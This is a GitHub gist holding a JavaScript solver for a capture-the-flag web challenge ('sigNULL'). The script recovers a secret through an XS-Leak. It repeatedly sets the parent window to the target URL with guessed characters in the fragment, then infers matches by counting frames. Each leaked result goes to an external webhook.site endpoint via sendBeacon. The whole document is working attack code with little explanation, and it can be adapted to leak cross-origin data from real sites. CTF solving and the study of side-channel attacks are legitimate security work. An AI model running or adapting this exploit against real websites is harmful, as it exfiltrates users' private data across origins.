Created
November 21, 2021 12:40
-
-
Save nyxsorcerer/5d17a6d8a6f4288b3807cb133b9b617c to your computer and use it in GitHub Desktop.
[Solver] sigNULL (XS-Leaks Frame Counting)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
const binurl = "https://webhook.site/f6088f8d-4247-4280-9890-57ed03953a0c" | |
const targeturl = "https://signull.chal.intentsummit.org/" | |
const report = (msg) => window.navigator.sendBeacon(binurl, msg) | |
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms)) | |
// const chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_}" | |
const chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~" | |
let flag = "INTENT{i_have_a_crash_on_el0n}" | |
async function go () { | |
window.parent.location.href = targeturl + "#" + window.performance.now() | |
await sleep(200) | |
const base = window.parent.frames.length | |
report('length base ' + base) | |
for (let i=0; i<chars.length; i++){ | |
window.parent.location.href = targeturl + "#" + encodeURIComponent(flag + chars[i]) | |
await sleep(200) | |
if (window.parent.frames.length < base) { | |
flag += chars[i] | |
i = 0 | |
report('flag ' + flag) | |
} | |
} | |
report('end') | |
} | |
(async() => { | |
while(!flag.endsWith("}")){ | |
await go() | |
} | |
report('loop ended') | |
})() | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment